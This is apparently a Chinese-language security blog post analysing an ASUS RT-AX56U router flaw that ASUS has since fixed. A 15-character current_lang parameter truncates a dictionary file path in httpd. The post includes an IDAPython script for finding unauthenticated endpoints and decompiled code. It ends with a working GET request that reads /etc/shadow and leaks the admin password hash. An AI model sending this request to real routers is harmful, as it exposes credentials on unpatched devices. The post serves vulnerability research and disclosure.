RT-AX56U information disclosure vulnerability

Catalpa 网络安全爱好者

2021 年 10 月 7 日,ASUS 发布了针对 RT-AX56U 等路由器的固件更新,其中修复了一个敏感信息泄露漏洞,本文对此漏洞简单分析。

固件下载链接:RT-AX56U|无线路由器|ASUS 中国,受影响固件为 3.0.0.4.386.44266 及更早版本。

我们以 3.0.0.4.386.44266 为例进行分析,环境准备等操作可参考前文

目标二进制程序:/usr/sbin/httpd,这个程序负责解析设备收到的 web 请求。

Asus 在其路由器中使用了一些开源组件,为了遵守 GPL 开源协议,Asus 曾在其官方网站上公开了相关源代码,后续的梅林固件就是基于这份源代码进行开发,我们可以参考梅林的源代码辅助分析。

通过源代码在 IDA 中定位到 sub_19644 函数,此函数用于解析用户传入的 HTTP 请求,这个函数逻辑较多,但其基本解析流程为:收到请求,进行简单的逐行解析,然后获取 URI 字段,过滤掉可能的路径穿越字符串,之后分别匹配三个 URI 对照表,判断当前请求的 URI 是否需要身份验证,以及获取对应接口的 handler 函数。

我们可以在 mime_handlers 全局结构体中找到相关接口定义,根据源代码相关信息,利用以下 IDAPython 脚本提取所有无需身份验证的接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def get_str(address):
_str = ""
while 1:
_temp = Byte(address)
address += 1
if _temp == 0:
break
_str += chr(_temp)
return _str

def check_auth(address):
_address = address + 20
_tmp = Dword(_address)
if _tmp == 0:
return True
return False

def get_handler(address):
_address = address + 16
_tmp = Dword(_address)
return _tmp

address = 0x0009BAC4
while 1:
_str = get_str(Dword(address))
_auth = check_auth(address)
_handler = get_handler(address)
if _auth == True:
print(_str, hex(_handler))
address += 0x18
if Dword(address) < 0x70000:
break

分析接口逻辑,当访问 .htm 等静态资源时,会执行 sub_1C3B8 函数,代码片段1:

1
2
3
4
v5 = cgi_get_0("current_lang", v78, v4);
if ( !v5 )
v5 = v3;
v70 = sub_1B420(v5, &unk_A13A0) == 0;

由于需要支持多语言,这段代码会尝试获取用户提交的 current_lang 参数,然后传入 sub_1B420 函数,代码片段2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
int __fastcall sub_1B420(const char *current_lang, _DWORD *a2)
{
FILE *v3; // r7
int v4; // r0
signed int v5; // r5
int v6; // r9
unsigned __int8 *v7; // r0
unsigned __int8 *v8; // r6
int v9; // r0
unsigned __int8 *v10; // r3
int v11; // r9
int result; // r0
int v13; // r2
int v14; // t1
int i; // r3
int v16; // r1
unsigned __int8 *v17; // r2
char v18[16]; // [sp+0h] [bp-38h] BYREF
char ptr; // [sp+10h] [bp-28h] BYREF

if ( current_lang && *current_lang )
snprintf(v18, 0x10u, "%s.dict", current_lang);
else
strcpy(v18, "EN.dict");
if ( strcmp(v18, byte_A0ABC) )
{
sub_1B3D8(a2);
while ( 1 )
{
v3 = fopen(v18, "rb");
if ( v3 )
break;
result = strcmp(v18, "EN.dict");
if ( !result )
return result;
strcpy(v18, "EN.dict");
}
snprintf(byte_A0ABC, 0xCu, "%s", v18);
memset(a2, 0, 0x10u);
fseek(v3, 0, 2);
v4 = ftell(v3);
v5 = v4 + 125;
v6 = v4;
printf("dict_size %d\n", v4 + 125);
v7 = malloc(v5);
a2[3] = v7;
v8 = v7;
fseek(v3, 0, 0);
fread(&ptr, 1u, 3u, v3);
memset(a2[3], 0, v5);
fread(a2[3], 1u, v5, v3);
v9 = v6 + 124;
v10 = a2[3];
v11 = 0;
while ( v9 + 1 > 0 )
{
v14 = *v10++;
v13 = v14;
if ( v14 == 10 )
{
++v11;
}
else if ( !v13 )
{
break;
}
--v9;
}
a2[2] = malloc(4 * v11);
printf("dict_item %d\n", v11);
for ( i = 0; i != v11; ++i )
{
*(a2[2] + 4 * i) = v8;
v17 = v8;
while ( 1 )
{
v8 = v17;
if ( v5 <= 0 )
break;
v16 = *v17++;
if ( v16 == 10 )
{
--v5;
*v8++ = 0;
break;
}
if ( !v16 )
break;
--v5;
}
}
*a2 = i;
fclose(v3);
}
return 1;
}

首先将 current_lang 拼接到变量 v18 中,这里使用的是 snprintf,长度 0x10,默认会以 .dict 结尾,然后根据文件路径打开对应文件,读取其中的内容作为基本语料。

如果用户提交一个长度刚好等于 15 字节的数据,那么 .dict 就会被冲洗掉,后面可以打开任意文件作为基本语料,当静态内容输出时,会将这里打开的文件内容输出。(但是只能输出第一行)

所以我们可以构造类似如下的请求

1
2
3
4
5
6
7
8
GET /error_page.htm?current_lang=/////etc/shadow HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Length: 0
User-Agent: Mozilla/5.0
Referer: https://127.0.0.1/Main_Login.asp


当此请求发送到存在漏洞的设备之后,就可以泄露出管理员用户的密码信息

  • Title: RT-AX56U information disclosure vulnerability
  • Author: Catalpa
  • Created at : 2021-12-01 00:00:00
  • Updated at : 2024-10-17 08:22:46
  • Link: https://wzt.ac.cn/2021/12/01/asus-info-disclosure/
  • License: This work is licensed under CC BY-SA 4.0.
On this page
RT-AX56U information disclosure vulnerability